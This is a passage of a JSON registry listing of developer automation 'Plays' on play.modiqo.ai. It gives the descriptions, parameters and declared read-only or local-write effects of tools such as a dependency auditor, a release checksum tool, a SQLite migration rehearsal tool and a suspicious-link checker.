and Java or Kotlin from Maven and Gradle. For each it reports declared-but-unused dependencies you can remove, and used-but-undeclared ones that work today only because a hoisted or transitive install happens to provide them and will break on a clean checkout. It is careful about the lookalikes every naive checker gets wrong: TypeScript path aliases are not packages, workspace-hoisted deps are not missing, Bun and Node builtins are not dependencies, config-file and tool devDeps count as used, and a Rust crate used only through a macro can look unused. Every finding carries a confidence and the named reason it could be wrong, and JVM findings are low confidence by nature because an artifact name is not its import package. It never removes anything: it hands you the candidate list to check. Read only, no network, no credentials.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","job-dependency-audit","tool-npm","tool-cargo"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.0","published_at":"2026-09-05T10:09:57.530689+00:00","visibility":"public","quality_score":1,"size_bytes":16861,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":7,"names":["assess","scan_go","scan_js","scan_jvm","scan_rust","scan_python","validate_project"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"The project or monorepo to scan. Defaults to the folder you run it from.","example":"apps/backend"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8503ce67ffdedc3ccc947f49dc49482926c6d3e25ed60bd5a430a980d597fa66","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/blast-radius@0.1.2","reference":"shambhavi/blast-radius@0.1.2","uri":"https://play.modiqo.ai/shambhavi/blast-radius@0.1.2","manifest_uri":"https://play.modiqo.ai/shambhavi/blast-radius@0.1.2","name":"blast-radius","title":"blast-radius","description":"Analyze a GitHub pull request and identify its potential blast radius from evidence in the repository.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["typescript","impact-analysis","developer-tools","github"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.2","published_at":"2026-09-05T09:33:03.198727+00:00","visibility":"public","quality_score":1,"size_bytes":2206,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["fetch_data","process_data"]},"parameters":[{"name":"owner","type":"string","required":true,"default":"null","description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"default":"null","description":"GitHub repository name"},{"name":"pr_number","type":"string","required":true,"default":"null","description":"Pull request number"}],"execution":{"adapters":[{"id":"pumpurlabs/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":"1.0.2","credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5a83043f30f17c772d8ad7fa648135423eccbd481a3813407d6405c2692298a4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["pulls/get","pulls/list-files"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_AFzkNmxTeNYBrCVVszZT58mhxCB","source":"pumpurlabs/github","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/nishitbaria/expo-store-submission-audit@0.3.0","reference":"nishitbaria/expo-store-submission-audit@0.3.0","uri":"https://play.modiqo.ai/nishitbaria/expo-store-submission-audit@0.3.0","manifest_uri":"https://play.modiqo.ai/nishitbaria/expo-store-submission-audit@0.3.0","name":"expo-store-submission-audit","title":"expo-store-submission-audit","description":"Two-layer store-readiness audit for an Expo project. Layer 1 is mechanical: identity, versioning, real icon-alpha pixel decoding, adaptive-icon safe zone, iOS purpose strings with placeholder and over-declaration detection, Expo SDK version alignment, EAS profiles and committed secrets. Layer 2 spawns a coding agent (claude, codex, cursor-agent or opencode) read-only against the project so it opens the actual screens and rules on the nine things a human App Review or Play policy reviewer rejects for, with file:line evidence. Writes one self-contained HTML report.","owner":{"kind":"user","slug":"nishitbaria"},"registry_organization":"nishitbaria","tags":["expo","react-native","app-store","play-store","release-readiness","audit","agentic","app-review","privacy-manifest"],"primary_domain":"domain-uncategorized","author":"nishitbaria","version":"0.3.0","published_at":"2026-09-05T09:18:39.102749+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":23240,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":9,"names":["icon_assets","render_report","sdk_alignment","agentic_review","eas_and_secrets","policy_evidence","purpose_strings","adaptive_safezone","config_introspect"]},"parameters":[{"name":"project_path","type":"string","required":true,"description":"Absolute path to the Expo project root (the directory holding app.json and package.json)"},{"name":"report_path","type":"string","required":false,"default":"out/store-readiness.html","description":"Where to write the HTML report, relative to the run workspace"},{"name":"agent","type":"string","required":false,"default":"claude","description":"Coding agent spawned in its read-only/plan mode to rule on the policy checks a grep cannot settle: claude, codex, cursor-agent, opencode, or none to skip"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a84702aee5ee777e8fc267a40c0d3827e0e24c679d1b80a55dda826cba2c2943","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":4,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6},{"name":"sh","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rajkaria/session-ledger@0.1.5","reference":"rajkaria/session-ledger@0.1.5","uri":"https://play.modiqo.ai/rajkaria/session-ledger@0.1.5","manifest_uri":"https://play.modiqo.ai/rajkaria/session-ledger@0.1.5","name":"session-ledger","title":"session-ledger","description":"Every agent harness on this machine keeps a transcript, each in its own shape, and none of them agree on what a token record looks like. Claude Code writes one line per content block so four in ten usage lines are duplicates of the same API call, and buries subagent spend in a subdirectory. Codex writes cumulative counters that have to be differenced. Pi and OpenCode have their own layouts. This reads all of them and emits one deduplicated ledger: usage records with uncached input, cache write, cache read, output and reasoning tokens per model per turn; the human messages that started each turn; and every tool call with whether it errored. Nothing is priced, nothing is judged, and message text is truncated and hashed unless you ask for it. It is the file the other session Plays should be reading instead of each re-parsing the logs, and it says which sources it found, which it could not read, and why. Read-only, no credentials, no network. Writes one JSONL and one summary JSON under the folder you choose. Point it at resources/fixtures to see a full run on synthetic logs first.\n- Reads: session logs under the four configured directories. Nothing else. - Never reads: `~/.claude.json`, `~/.codex/auth.json`, any credential, keychain or token file. Which AI you run is inferred from the model ids already in those logs; the plan tier is never read from your account. - Never sends from the core: reading, pricing and rendering make no network calls. Verifiable: `comped_core` imports no `urllib`, `http`, `socket`, `subprocess` (except the PNG renderer, which is invoked with a fixed argv and no shell). The one step that talks to the network is `comped`'s `post_score`, a separate short script that sends your score to the gotcomped.com leaderboard after the card is written and nothing before; `leaderboard=false` skips it, and a failed post never fails the run. - Writes: only under `out_dir`. Every written path is listed in the report. - Message text: truncated to 120 chars and hashed by default. `redact=false` keeps full text locally, never in the card.\nSee also: `comped` (prices this ledger and finds your repeat asks) and `wrong-turns` (recurring mistakes, with drafted rules). Docs, the full methodology and a worked example: https://gotcomped.com","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-agent-operations","job-session-ledger","job-token-accounting","audience-developers","effect-read-only","tool-claude-code","tool-codex"],"primary_domain":"domain-agent-operations","author":"rajkaria","version":"0.1.5","published_at":"2026-09-05T08:25:10.453296+00:00","visibility":"public","quality_score":1,"size_bytes":155739,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["read_pi","summarize","read_codex","read_claude","merge_ledger","read_opencode"]},"parameters":[{"name":"days_back","type":"integer","required":false,"default":"30","description":"Filter on each record's own timestamp.","example":"30"},{"name":"out_dir","type":"string","required":false,"default":"~/comped","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/comped"},{"name":"claude_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Set to resources/fixtures/claude for a demo run on synthetic logs.","example":"resources/fixtures/claude"},{"name":"codex_dir","type":"string","required":false,"default":"~/.codex/sessions","description":"Set to resources/fixtures/codex for a demo run on synthetic logs.","example":"resources/fixtures/codex"},{"name":"pi_dir","type":"string","required":false,"default":"~/.pi/agent/sessions","description":"Best-effort adapter; the source note says so.","example":"resources/fixtures/pi"},{"name":"opencode_dir","type":"string","required":false,"default":"~/.local/share/opencode/storage","description":"Best-effort adapter; the source note says so.","example":"resources/fixtures/opencode/storage"},{"name":"include_subagents","type":"string","required":false,"default":"true","description":"Claude Code subagent transcripts. true or false.","example":"true"},{"name":"redact","type":"string","required":false,"default":"true","description":"true stores a 120-character truncation plus sha256; false keeps full text locally, never in a card.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:58ab5ae3aa0e46269d519113dc892faabcdef8f00bdb303e3f37c5f67074d4c7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/release-file-manifest@0.1.1","reference":"himanshu-jha/release-file-manifest@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/release-file-manifest@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/release-file-manifest@0.1.1","name":"release-file-manifest","title":"release-file-manifest","description":"Prepare a checksum handoff from an explicit local dist directory before uploading release files. The Play writes SHA256SUMS, file-manifest.json and release-checklist.md into a new directory in its run workspace. It records each file's relative path, byte size and SHA-256 digest, then rehashes every file and compares the whole inventory before marking the handoff verified. Symlinks, special files, control-character or backslash filenames, changing inputs and size or traversal limits fail explicitly. Existing files are never overwritten, and artifact contents are neither copied nor published. The workspace must be outside dist. This prepares a local handoff; it does not build, sign or upload artifacts, verify remote assets, or establish publisher identity. Requires Python 3.9+ and POSIX no-follow file descriptors on macOS or Linux.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-local-write","audience-developers","domain-engineering","tool-python","job-release-preparation","checksums","release"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T07:32:31.784686+00:00","visibility":"public","quality_score":1,"size_bytes":9940,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["verify_release_handoff","prepare_release_handoff"]},"parameters":[{"name":"dist","type":"string","required":true,"description":"Absolute explicit release directory; keep it stable until both steps finish.","example":"/path/to/project/dist"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:28776ac668db6573eb41b8a7c0c4835a9e8e79088212d1c40b325479f0ebe72b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/har-request-diff@0.1.2","reference":"himanshu-jha/har-request-diff@0.1.2","uri":"https://play.modiqo.ai/himanshu-jha/har-request-diff@0.1.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/har-request-diff@0.1.2","name":"har-request-diff","title":"har-request-diff","description":"Compare two HAR 1.2 files exported from browser DevTools after the same user action. The offline report groups requests by method, origin and path, then lists added or removed groups and changes in counts, response statuses, body sizes and durations. Repeated URLs stay grouped; individual requests are not paired. Missing or negative metrics remain unknown, and total deltas require complete measurements. Queries, credentials, fragments, headers, cookies and bodies are excluded from reports, but origins and paths can still contain private information. Empty captures, unsupported entries and queue omissions are explicit. It writes JSON and Markdown reports into a new run-workspace directory and rechecks input and report hashes. No requests are replayed. Two captures do not prove performance causation. Requires Python 3.9+ on macOS or Linux.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-local-write","audience-developers","domain-engineering","tool-python","job-performance-triage","har","network"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.1.2","published_at":"2026-09-05T07:32:20.957201+00:00","visibility":"public","quality_score":1,"size_bytes":12475,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["prepare_request_diff","verify_request_report"]},"parameters":[{"name":"before","type":"string","required":true,"description":"Absolute path to a before HAR 1.2 export; sanitized exports are recommended.","example":"/path/to/before.har"},{"name":"after","type":"string","required":true,"description":"Absolute path to the after HAR 1.2 export for a comparable capture.","example":"/path/to/after.har"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8118922bb155cbbcf141ac1ed9c9766b77d9e661a68bb514a7c50851897d75eb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/log-incident-timeline@0.1.1","reference":"himanshu-jha/log-incident-timeline@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/log-incident-timeline@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/log-incident-timeline@0.1.1","name":"log-incident-timeline","title":"log-incident-timeline","description":"Put several application JSONL logs in time order when an incident spans processes or hosts. Choose the timestamp and severity fields, and optionally a correlation field. The report shows out-of-order records, observed logging gaps and error bursts, with source line numbers for follow-up. Timestamps need a timezone or an explicit numeric unit, with at most microsecond precision. Malformed lines make the report partial. Raw messages and identifiers stay out of the saved timeline; correlated records share a local label. JSON and Markdown reports go into a new directory.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["logs","audience-developers","effect-local-write","tool-python"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T07:32:06.092956+00:00","visibility":"public","quality_score":1,"size_bytes":14429,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["analyze","save_report"]},"parameters":[{"name":"logs","type":"string","required":true,"description":"JSON array of 1 to 10 absolute regular JSONL file paths, at most 4 MiB each. No symlink components."},{"name":"timestamp_field","type":"string","required":false,"default":"timestamp","description":"Top-level timestamp field name."},{"name":"severity_field","type":"string","required":false,"default":"level","description":"Top-level severity field name."},{"name":"correlation_field","type":"string","required":false,"default":"","description":"Optional top-level correlation field. Raw identifiers are replaced with run-local labels."},{"name":"numeric_unit","type":"string","required":false,"default":"none","description":"Explicit numeric timestamp unit: none, seconds, milliseconds, microseconds or nanoseconds. Finer than microsecond precision is refused."},{"name":"severity_mode","type":"string","required":false,"default":"named","description":"Severity mapping: named, python or pino. Numeric values require a selected numeric mapping."},{"name":"gap_seconds","type":"string","required":false,"default":"300","description":"Observed-gap threshold in seconds, between 1 and 86400. A gap does not prove downtime."},{"name":"burst_window_seconds","type":"string","required":false,"default":"60","description":"Rolling error-burst window in seconds, between 1 and 86400. At least three errors form a burst."},{"name":"output_dir","type":"string","required":false,"default":".","description":"Existing output directory, without symlinks. Defaults to the run workspace; creates a unique report directory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fb28ace2ff87ff9dd3cb4e9133d9c1dae9dd5d06895b33f910926fc9fbb31d3e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3.11","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/himanshu-jha/openapi-change-review@0.1.1","reference":"himanshu-jha/openapi-change-review@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/openapi-change-review@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/openapi-change-review@0.1.1","name":"openapi-change-review","title":"openapi-change-review","description":"Compare the OpenAPI JSON from your last release with the proposed version. The report points to removed operations, new required inputs, media and security changes, and supported scalar schema changes that can break callers. It reads OpenAPI 3.1 documents and follows bounded internal references. Nested schemas, recursion, composition and unsupported keywords stay in a review list. It never calls an API server or runs examples. Save the JSON and Markdown report with the release review.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["openapi","audience-developers","effect-local-write","tool-python"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T07:32:02.184837+00:00","visibility":"public","quality_score":1,"size_bytes":15237,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["compare","save_report"]},"parameters":[{"name":"before","type":"string","required":true,"description":"Absolute path to the old OpenAPI 3.1 JSON document, at most 4 MiB."},{"name":"after","type":"string","required":true,"description":"Absolute path to the proposed OpenAPI 3.1 JSON document, at most 4 MiB."},{"name":"output_dir","type":"string","required":false,"default":".","description":"Existing output directory, without symlinks. Defaults to the run workspace; creates a unique report directory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0fa8f3d446a8f4fb47e2ee09ed98a3842b6a41888509f3979b830ed9b67ee92d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3.11","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/himanshu-jha/sqlite-migration-rehearsal@0.1.1","reference":"himanshu-jha/sqlite-migration-rehearsal@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/sqlite-migration-rehearsal@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/sqlite-migration-rehearsal@0.1.1","name":"sqlite-migration-rehearsal","title":"sqlite-migration-rehearsal","description":"Rehearse a SQLite migration before you run it on a database you care about. Give it a closed snapshot and a SQL file. It executes the SQL on a disposable copy, checks integrity and foreign keys, and reports schema and row-count changes without printing row values. The original file must keep the same hash. Live WAL/journal files, attached databases, extension loading and unsupported SQL are refused. JSON and Markdown reports go into a new directory.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["sqlite","migration","audience-developers","effect-local-write","tool-python"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T07:31:58.13645+00:00","visibility":"public","quality_score":1,"size_bytes":12116,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["rehearse","save_report"]},"parameters":[{"name":"snapshot","type":"string","required":true,"description":"Absolute path to a quiescent self-contained SQLite snapshot, at most 32 MiB. Symlinks and WAL/journal companions are refused."},{"name":"migration","type":"string","required":true,"description":"Absolute path to the proposed UTF-8 SQL file, at most 512 KiB. The SQL runs only against a disposable copy."},{"name":"output_dir","type":"string","required":false,"default":".","description":"Existing output directory; defaults to the Play run workspace. A unique report subdirectory is created without replacing files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0c60362b00b12589125a5ba5edae6ae040d259f3ffd93440d32d819324b17aeb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3.11","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/himanshu-jha/junit-run-diff@0.1.1","reference":"himanshu-jha/junit-run-diff@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/junit-run-diff@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/junit-run-diff@0.1.1","name":"junit-run-diff","title":"junit-run-diff","description":"Compare two JUnit XML result files after a CI rerun. Separates new, continuing, and resolved failures from added tests, missing cases, and failures now skipped. Matches suite path, classname, test name, and file; duplicate identities and unsupported Maven retry outcomes remain unknown. Saves Markdown and JSON in a new run-workspace directory. The baseline and candidate are parsed independently in parallel. Empty suites do not establish passing coverage, and two runs cannot establish flakiness. Raw failure messages, stack traces, stdout, and stderr are excluded. Requires POSIX and Python 3.9+; accepts one file per run, up to 8 MiB and 2000 testcases each. Rejects DTDs, malformed XML, symbolic input paths, and contradictory outcomes. Restored results are labeled and do not imply fresh input checks.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["junit","comparison","audience-developers","domain-engineering","effect-local-artifacts","tool-cli"],"primary_domain":"domain-engineering","author":"himanshu-jha","version":"0.1.1","published_at":"2026-09-05T07:31:38.446471+00:00","visibility":"public","quality_score":1,"size_bytes":13852,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["write_diff","read_baseline","read_candidate"]},"parameters":[{"name":"baseline","type":"string","required":true,"description":"Absolute path to the baseline JUnit XML file containing the run's testcase records. Symbolic path components are refused.","example":"/absolute/path/to/baseline.xml"},{"name":"candidate","type":"string","required":true,"description":"Absolute path to the candidate JUnit XML file containing the run's testcase records. Original input files are preserved.","example":"/absolute/path/to/candidate.xml"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dcc7a978019479bb81178e74a0712fcbbf6159a3ccba37e71f7662e0f856d343","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/git-handoff-packet@0.1.2","reference":"himanshu-jha/git-handoff-packet@0.1.2","uri":"https://play.modiqo.ai/himanshu-jha/git-handoff-packet@0.1.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/git-handoff-packet@0.1.2","name":"git-handoff-packet","title":"git-handoff-packet","description":"Prepare a handoff from one local Git checkout. Records branch and HEAD, staged and unstaged paths, untracked names, conflicts, line-change counts, and an optional next-step note. Saves Markdown and JSON in a new run-workspace directory without changing the checkout. Patch contents, ignored files, and submodule interiors are excluded. Git transports, hooks, filters, external diff, textconv, and filesystem-monitor helpers are disabled. Status is checked twice; this metadata packet does not freeze file contents or prove that tests pass. Requires POSIX, Python 3.9+ and Git 2.39+; refuses symbolic input paths, more than 1000 changed entries, or oversized Git output. Restored results are labeled and do not imply fresh input checks.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["git","handoff","audience-developers","domain-engineering","effect-local-artifacts","tool-cli"],"primary_domain":"domain-engineering","author":"himanshu-jha","version":"0.1.2","published_at":"2026-09-05T07:31:33.120888+00:00","visibility":"public","quality_score":1,"size_bytes":14340,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["write_packet","inspect_checkout"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute checkout root. Symbolic path components and subdirectories are refused.","example":"/absolute/path/to/checkout"},{"name":"next_step","type":"string","required":false,"default":"","description":"Optional continuation note, at most 2000 characters. Review it for private information before sharing.","example":"Review the staged change, then run the project tests."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8a2e7a1fc1bf2775c4066c68f814d38efa22323481856809ecf32574146eae27","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lakshay/before-you-click@0.1.0","reference":"lakshay/before-you-click@0.1.0","uri":"https://play.modiqo.ai/lakshay/before-you-click@0.1.0","manifest_uri":"https://play.modiqo.ai/lakshay/before-you-click@0.1.0","name":"before-you-click","title":"before-you-click","description":"Everyone gets suspicious links every day — WhatsApp, SMS, email, ads. Paste a URL (or a whole message containing one). This Play checks the shape for common scam tricks, DNS, HTTPS certificate, and redirects, then answers clearly: GO / GO WITH WATCH / NO-GO before you open it. How to use: rote play run play.modiqo.ai/lakshay/before-you-click url=\"https://example.com/login\" Public probes only. No login. No writes. Needs python3 + openssl.","owner":{"kind":"user","slug":"lakshay"},"registry_organization":"lakshay","tags":["daily-life","consumer-safety","tool-dns","tool-tls","effect-read-only","job-link-safety"],"primary_domain":"domain-uncategorized","author":"lakshay","version":"0.1.0","published_at":"2026-09-05T07:26:48.331582+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7147,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["assess","check_dns","check_tls","parse_url","check_shape","check_redirect"]},"parameters":[{"name":"url","type":"string","required":true,"description":"A link to check, or a pasted message that contains a 